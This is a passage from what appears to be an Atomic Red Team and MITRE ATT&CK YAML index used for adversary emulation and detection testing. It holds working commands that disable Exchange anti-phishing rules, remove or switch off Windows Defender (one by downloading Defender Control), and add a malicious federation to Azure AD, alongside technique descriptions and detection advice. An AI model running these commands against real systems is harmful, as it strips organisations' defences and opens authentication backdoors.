          type: String
          default: 
        password:
          description: office-365 password
          type: String
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExchangeOnlineManagement PowerShell module must be installed

'
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: |
          Install-Module -Name ExchangeOnlineManagement
          Import-Module ExchangeOnlineManagement
      executor:
        command: |
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          $test = Get-AntiPhishRule
          Disable-AntiPhishRule -Identity $test.Name -Confirm:$false
          Get-AntiPhishRule
        cleanup_command: "if(\"#{password}\" -ne \"\") {\n$secure_pwd = (\"#{password}\"
          + \"\") | ConvertTo-SecureString -AsPlainText -Force\n$creds = New-Object
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $secure_pwd\nConnect-ExchangeOnline -Credential $creds\n$test = Get-AntiPhishRule\nEnable-AntiPhishRule
          -Identity $test.Name -Confirm:$false\nGet-AntiPhishRule\n} \n"
        name: powershell
        elevation_required: false
    - name: Disable Windows Defender with DISM
      auto_generated_guid: 871438ac-7d6e-432a-b27d-3e7db69faf58
      description: "The following Atomic will attempt to disable Windows-Defender
        using the built in DISM.exe, Deployment Image Servicing and Management tool.
        \nDISM is used to enumerate, install, uninstall, configure, and update features
        and packages in Windows images.\nA successful execution will not standard-out
        any details. Remove the quiet switch if verbosity is needed.\nThis method
        will remove Defender and it's package.\n"
      supported_platforms:
      - windows
      executor:
        command: Dism /online /Disable-Feature /FeatureName:Windows-Defender /Remove
          /NoRestart /quiet
        name: command_prompt
        elevation_required: true
    - name: Disable Defender with Defender Control
      auto_generated_guid: 178136d8-2778-4d7a-81f3-d517053a4fd6
      description: "Attempting to use Defender Control software to disable Windows
        Defender. Upon successful execution, Windows Defender will be turned off.
        \n"
      supported_platforms:
      - windows
      input_arguments:
        DefenderID:
          description: Defender ID that is used as a sort of passcode to disable it
            within Defender Control from the command line. The machine-specific Defender
            ID can be obtained within Defender Control by going to menu, command line
            info, and then retrieving the 4 character passcode to continue (listed
            after defendercontrol /d /id in the command line info window).
          type: String
          default: FFFF
        DefenderControlExe:
          description: Path to Defender Control software version 1.6.
          type: String
          default: "$env:temp\\DefenderControl\\DefenderControl\\DefenderControl.exe"
      dependency_executor_name: powershell
      dependencies:
      - description: "Defender Control must be installed on the machine. \n"
        prereq_command: 'if (Test-Path #{DefenderControlExe}) {exit 0} else {exit
          1}

'
        get_prereq_command: |
          Start-BitsTransfer -Source "https://web.archive.org/web/20201210152711/https://www.sordum.org/files/download/defender-control/DefenderControl.zip" -Destination "$env:temp\defendercontrol.zip" -dynamic
          expand-archive -LiteralPath "$env:temp\defendercontrol.zip" -DestinationPath "$env:temp\DefenderControl"
      executor:
        command: 'cmd /c #{DefenderControlExe} /D #{DefenderID} | Out-Null

'
        cleanup_command: 'cmd /c #{DefenderControlExe} /E | Out-Null

'
        name: powershell
        elevation_required: true
  T1078.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1078.002
        url: https://attack.mitre.org/techniques/T1078/002
      - external_id: CAPEC-560
        source_name: capec
        url: https://capec.mitre.org/data/definitions/560.html
      - url: https://technet.microsoft.com/en-us/library/dn535501.aspx
        description: Microsoft. (2016, April 15). Attractive Accounts for Credential
          Theft. Retrieved June 3, 2016.
        source_name: TechNet Credential Theft
      - source_name: Microsoft AD Accounts
        url: https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-accounts
        description: Microsoft. (2019, August 23). Active Directory Accounts. Retrieved
          March 13, 2020.
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Accounts
      description: |-
        Adversaries may obtain and abuse credentials of a domain account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. (Citation: TechNet Credential Theft) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.(Citation: Microsoft AD Accounts)

        Adversaries may compromise domain accounts, some with a high level of privileges, through various means such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or password reuse, allowing access to privileged resources of the domain.
      id: attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: initial-access
      modified: '2020-09-16T19:42:11.787Z'
      created: '2020-03-13T20:21:54.758Z'
      x_mitre_version: '1.1'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

        Perform regular audits of domain accounts to detect accounts that may have been created by an adversary for persistence.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Logon Session: Logon Session Creation'
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
    atomic_tests: []
  T1556.001:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1556.001
        url: https://attack.mitre.org/techniques/T1556/001
      - source_name: Dell Skeleton
        description: Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis.
          Retrieved April 8, 2019.
        url: https://www.secureworks.com/research/skeleton-key-malware-analysis
      - url: https://technet.microsoft.com/en-us/library/dn487457.aspx
        description: Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved
          June 3, 2016.
        source_name: TechNet Audit Policy
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Controller Authentication
      description: "Adversaries may patch the authentication process on a domain controller
        to bypass the typical authentication mechanisms and enable access to accounts.
        \n\nMalware may be used to inject false credentials into the authentication
        process on a domain controller with the intent of creating a backdoor used
        to access any user’s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)).
        Skeleton key works through a patch on an enterprise domain controller authentication
        process (LSASS) with credentials that adversaries may use to bypass the standard
        authentication system. Once patched, an adversary can use the injected password
        to successfully authenticate as any domain user account (until the the skeleton
        key is erased from memory by a reboot of the domain controller). Authenticated
        access may enable unfettered access to hosts and/or resources within single-factor
        authentication environments.(Citation: Dell Skeleton)"
      id: attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      modified: '2021-04-20T20:10:26.613Z'
      created: '2020-02-11T19:05:02.399Z'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: "Monitor for calls to <code>OpenProcess</code> that can be
        used to manipulate lsass.exe running on a domain controller as well as for
        malicious modifications to functions exported from authentication-related
        system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure
        robust, consistent account activity audit policies across the enterprise and
        with externally accessible services.(Citation: TechNet Audit Policy) Look
        for suspicious account behavior across systems that share accounts, either
        user, admin, or service accounts. Examples: one account logged into multiple
        systems simultaneously; multiple accounts logged into the same machine simultaneously;
        accounts logged in at odd times or outside of business hours. Activity may
        be from interactive login sessions or process ownership from accounts being
        used to execute binaries on a remote system as a particular account. Correlate
        other security systems with login information (e.g. a user has an active login
        session but has not entered the building or does not have VPN access). "
      x_mitre_version: '2.0'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1484:
    technique:
      id: attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d
      description: |-
        Adversaries may modify the configuration settings of a domain to evade defenses and/or escalate privileges in domain environments. Domains provide a centralized means of managing how computer resources (ex: computers, user accounts) can act, and interact with each other, on a network. The policy of the domain also includes configuration settings that may apply between domains in a multi-domain/forest environment. Modifications to domain settings may include altering domain Group Policy Objects (GPOs) or changing trust settings for domains, including federation trusts.

        With sufficient permissions, adversaries can modify domain policy settings. Since domain configuration settings control many of the interactions within the Active Directory (AD) environment, there are a great number of potential attacks that can stem from this abuse. Examples of such abuse include modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) or modifying domain trusts to include an adversary controlled domain where they can control access tokens that will subsequently be accepted by victim domain resources.(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks) Adversaries can also change configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).

        Adversaries may temporarily modify domain policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.
      name: Domain Policy Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1484
        url: https://attack.mitre.org/techniques/T1484
      - source_name: ADSecurity GPO Persistence 2016
        url: https://adsecurity.org/?p=2716
        description: 'Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence
          #17: Group Policy. Retrieved March 5, 2019.'
      - description: Robbins, A. (2018, April 2). A Red Teamer’s Guide to GPOs and
          OUs. Retrieved March 5, 2019.
        url: https://wald0.com/?p=179
        source_name: Wald0 Guide to GPOs
      - source_name: Harmj0y Abusing GPO Permissions
        url: http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
        description: Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved
          March 5, 2019.
      - source_name: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks
        url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/
        description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State
          Cyber Attacks. Retrieved December 30, 2020.
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
      - source_name: Microsoft 365 Defender Solorigate
        url: https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/
        description: Microsoft 365 Defender Team. (2020, December 28). Using Microsoft
          365 Defender to protect against Solorigate. Retrieved January 7, 2021.
      - source_name: Sygnia Golden SAML
        url: https://www.sygnia.co/golden-saml-advisory
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
      - source_name: CISA SolarWinds Cloud Detection
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
      - source_name: Microsoft - Update or Repair Federated domain
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-02-09T15:52:24.598Z'
      created: '2019-03-07T14:10:32.650Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Deletion'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - Administrator
      - User
      x_mitre_version: '2.0'
      x_mitre_detection: |-
        It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Consider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)
      x_mitre_defense_bypassed:
      - System access controls
      - File system access controls
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1484.002:
    technique:
      id: attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee
      description: |-
        Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

        Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.
      name: Domain Trust Modification
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1484.002
        url: https://attack.mitre.org/techniques/T1484/002
      - source_name: Microsoft - Azure AD Federation
        url: https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
        description: Microsoft. (2018, November 28). What is federation with Azure
          AD?. Retrieved December 30, 2020.
      - source_name: Microsoft - Azure Sentinel ADFSDomainTrustMods
        url: https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
        description: Microsoft. (2020, December). Azure Sentinel Detections. Retrieved
          December 30, 2020.
      - source_name: Sygnia Golden SAML
        url: https://www.sygnia.co/golden-saml-advisory
        description: Sygnia. (2020, December). Detection and Hunting of Golden SAML
          Attack. Retrieved January 6, 2021.
      - source_name: CISA SolarWinds Cloud Detection
        url: https://us-cert.cisa.gov/ncas/alerts/aa21-008a
        description: CISA. (2021, January 8). Detecting Post-Compromise Threat Activity
          in Microsoft Cloud Environments. Retrieved January 8, 2021.
      - source_name: Microsoft - Update or Repair Federated domain
        url: https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
        description: Microsoft. (2020, September 14). Update or repair the settings
          of a federated domain in Office 365, Azure, or Intune. Retrieved December
          30, 2020.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2021-01-11T18:21:20.213Z'
      created: '2020-12-28T21:59:02.181Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      x_mitre_contributors:
      - Blake Strom, Microsoft 365 Defender
      x_mitre_detection: |-
        Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)

        Monitor for PowerShell commands such as: <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"</code>, or <code>Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain</code>.(Citation: Microsoft - Update or Repair Federated domain)
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Object Creation'
      - 'Active Directory: Active Directory Object Modification'
      - 'Command: Command Execution'
      identifier: T1484.002
    atomic_tests:
    - name: Add Federation to Azure AD
      auto_generated_guid: 8906c5d0-3ee5-4f63-897a-f6cafd3fdbb7
      description: |
        Add a new federation to Azure AD using PowerShell. The malicious Identity Provider to be added must be configured beforehand.
        If ADFS is used as IdP, the Uris parameters can be found at 'https://<federationservice>.<domainname>.com/federationmetadata/2007-06/federationmetadata.xml'
      supported_platforms:
      - azure-ad
      input_arguments:
        azure_username:
          description: Username of a privileged Azure AD account such as External
            Identity Provider Administrator or Global Administrator roles
          type: String
          default: bruce.wayne@contosocloud.com
        azure_password:
          description: Password of azure_username
          type: String
          default: iamthebatman
        active_logon_uri:
          description: Active Logon Uri, available in federation metadata at <SingleSignOnService
            Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST> field if ADFS
            is used.
          type: String
          default: https://sts.contoso.com/adfs/ls/
        issuer_uri:
          description: Issuer Uri, available in federation metadata at the "entityID"
            field if ADFS is used.
          type: String
          default: http://sts.contoso.com/adfs/services/trust
        metadata_uri:
          description: Metadata exchange Uri, available in federation metadata at
            <Address xmlns="http://www.w3.org/2005/08/addressing"> field if ADFS is
            used.
          type: String
          default: https://sts.contoso.com/adfs/services/trust/mex
        public_key:
          description: Public key of the X509 signing token certificate, in base64
          type: String
          default: MzAgODIgMDEgMGEgMD...gZWQgOTkgMDIgMDMgMDEgMDAgMDE=
        domain_name:
          description: New federation domain name
          type: String
          default: contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureADPreview Powershell module must be installed. The Identity
          Provider to be federated must be configured (outside of the scope of this
          test).

'
        prereq_command: 'if (Get-Module AzureADPreview) {exit 0} else {exit 1}

'
        get_prereq_command: 'Install-Module -Name AzureADPreview -Force

'
      executor:
        command: |
          Import-Module AzureADPreview
          $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
          Connect-AzureAD -Credential $Credential > $null
          $federationSettings = New-Object Microsoft.Open.AzureAD.Model.DomainFederationSettings
          $federationSettings.ActiveLogOnUri = "#{active_logon_uri}"
          $federationSettings.IssuerUri = "#{issuer_uri}"
          $federationSettings.LogOffUri = $federationSettings.ActiveLogOnUri
          $federationSettings.MetadataExchangeUri = "#{metadata_uri}"
          $federationSettings.PassiveLogOnUri = $federationSettings.ActiveLogOnUri
          $federationSettings.PreferredAuthenticationProtocol = "WsFed"
          $federationSettings.SigningCertificate = "#{public_key}"
          $new = New-AzureADExternalDomainFederation -ExternalDomainName "#{domain_name}" -FederationSettings $federationSettings
          if ($new) { Write-Host "`nFederation successfully added to Azure AD" } else { Write-Host "`nThe federation setup failed" }
          Get-AzureADExternalDomainFederation -ExternalDomainName "#{domain_name}"
          Write-Host "End of federation configuration."
        cleanup_command: |
          try {
          Import-Module AzureADPreview -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{azure_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{azure_username}", $Pword
          Connect-AzureAD -Credential $Credential -ErrorAction Ignore
          Remove-AzureADExternalFederationDomain -ExternalDomainName "#{domain_name}"
          } catch {}
        name: powershell
  T1601.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1601.002
        url: https://attack.mitre.org/techniques/T1601/002
      - source_name: Cisco Synful Knock Evolution
        url: https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices
        description: Graham Holmes. (2015, October 8). Evolution of attacks on Cisco
          IOS devices. Retrieved October 19, 2020.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Downgrade System Image
      description: "Adversaries may install an older version of the operating system
        of a network device to weaken security.  Older operating system versions on
        network devices often have weaker encryption ciphers and, in general, fewer/less
        updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn
        embedded devices, downgrading the version typically only requires replacing
        the operating system file in storage.  With most embedded devices, this can
        be achieved by downloading a copy of the desired version of the operating
        system file and reconfiguring the device to boot from that file on next system
        restart.  The adversary could then restart the device to implement the change
        immediately or they could wait until the next time the system restarts.\n\nDowngrading
        the system image to an older versions may allow an adversary to evade defenses
        by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).
        \ Downgrading of a system image can be done on its own, or it can be used
        in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).
        \ "
      id: attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-10-22T17:49:02.660Z'
      created: '2020-10-19T19:53:10.576Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - Administrator
      x_mitre_detection: 'Many embedded network devices provide a command to print
        the version of the currently running operating system.  Use this command to
        query the operating system for its version number and compare it to what is
        expected for the device in question.  Because image downgrade may be used
        in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001),
        it may be appropriate to also verify the integrity of the vendor provided
        operating system image file. '
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_platforms:
      - Network
    atomic_tests: []
  T1574.004:
    technique:
      id: attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490
      description: |-
        Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.

        Adversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)
      name: Dylib Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1574.004
        url: https://attack.mitre.org/techniques/T1574/004
      - external_id: CAPEC-471
        source_name: capec
        url: https://capec.mitre.org/data/definitions/471.html
      - source_name: Wardle Dylib Hijack Vulnerable Apps
        url: https://objective-see.com/blog/blog_0x46.html
        description: Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore
          Apps. Retrieved March 31, 2021.
      - source_name: Wardle Dylib Hijacking OSX 2015
        url: https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf
        description: Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved
          March 29, 2021.
      - source_name: Github EmpireProject HijackScanner
        url: https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py
        description: Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib
          Hijack Vulnerability Scanner. Retrieved April 1, 2021.
      - source_name: Github EmpireProject CreateHijacker Dylib
        url: https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py
        description: Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib
          Hijacker. Retrieved April 1, 2021.
      - url: https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf
        description: Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved
          July 10, 2017.
        source_name: Writing Bad Malware for OSX
      - source_name: wardle artofmalware volume1
        url: https://taomm.org/vol1/pdfs.html
        description: 'Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume
          0x1: Analysis. Retrieved March 19, 2021.'
      - source_name: MalwareUnicorn macOS Dylib Injection MachO
        url: https://malwareunicorn.org/workshops/macos_dylib_injection.html#5
        description: Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop.
          Retrieved March 29, 2021.
      - source_name: Apple Developer Doco Archive Run-Path
        url: https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html
        description: Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved
          March 31, 2021.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2021-04-27T20:19:15.212Z'
      created: '2020-03-16T15:23:30.896Z'
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Module: Module Load'
      x_mitre_detection: "Monitor file systems for moving, renaming, replacing, or
        modifying dylibs. Changes in the set of dylibs that are loaded by a process
        (compared to past behavior) that do not correlate with known software, patches,
        etc., are suspicious. Check the system for multiple dylibs with the same name
        and monitor which versions have historically been loaded into a process. \n\nRun
        path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>,
        and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS
        loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation:
        Apple Developer Doco Archive Run-Path) These loader instructions can be examined
        for individual binaries or frameworks using the <code>otool -l</code> command.
        Objective-See's Dylib Hijacking Scanner can be used to identify applications
        vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation:
        Github EmpireProject HijackScanner)"
      x_mitre_is_subtechnique: true
      x_mitre_version: '2.0'
      x_mitre_defense_bypassed:
      - Application control
    atomic_tests: []
  T1574.006:
    technique:
      id: attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825
      description: "Adversaries may execute their own malicious payloads by hijacking
        environment variables the dynamic linker uses to load shared libraries. During
        the execution preparation phase of a program, the dynamic linker loads specified
        absolute paths of shared libraries from environment variables and files, such
        as <code>LD_PRELOAD</code> on Linux or <code>DYLD_INSERT_LIBRARIES</code>
        on macOS. Libraries specified in environment variables are loaded first, taking
        precedence over system libraries with the same function name.(Citation: Man
        LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic
        Libraries) These variables are often used by developers to debug binaries
        without needing to recompile, deconflict mapped symbols, and implement custom
        functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn
        Linux and macOS, hijacking dynamic linker variables may grant access to the
        victim process's memory, system/network resources, and possibly elevated privileges.
        This method may also evade detection from security products since the execution
        is masked under a legitimate process. Adversaries can set environment variables
        via the command line using the <code>export</code> command, <code>setenv</code>
        function, or <code>putenv</code> function. Adversaries can also leverage [Dynamic
        Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export
        variables in a shell or set variables programmatically using higher level
        syntax such Python’s <code>os.environ</code>.\n\nOn Linux, adversaries may
        set <code>LD_PRELOAD</code> to point to malicious libraries that match the
        name of legitimate libraries which are requested by a victim program, causing
        the operating system to load the adversary's malicious code upon execution
        of the victim program. <code>LD_PRELOAD</code> can be set via the environment
        variable or <code>/etc/ld.so.preload</code> file.(Citation: Man LD.SO)(Citation:
        TLDP Shared Libraries) Libraries specified by <code>LD_PRELOAD</code> are
        loaded and mapped into memory by <code>dlopen()</code> and <code>mmap()</code>
        respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed
        Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers)
        \n\nOn macOS this behavior is conceptually the same as on Linux, differing
        only in how the macOS dynamic libraries (dyld) is implemented at a lower level.
        Adversaries can set the <code>DYLD_INSERT_LIBRARIES</code> environment variable
        to point to malicious libraries containing names of legitimate libraries or
        functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation:
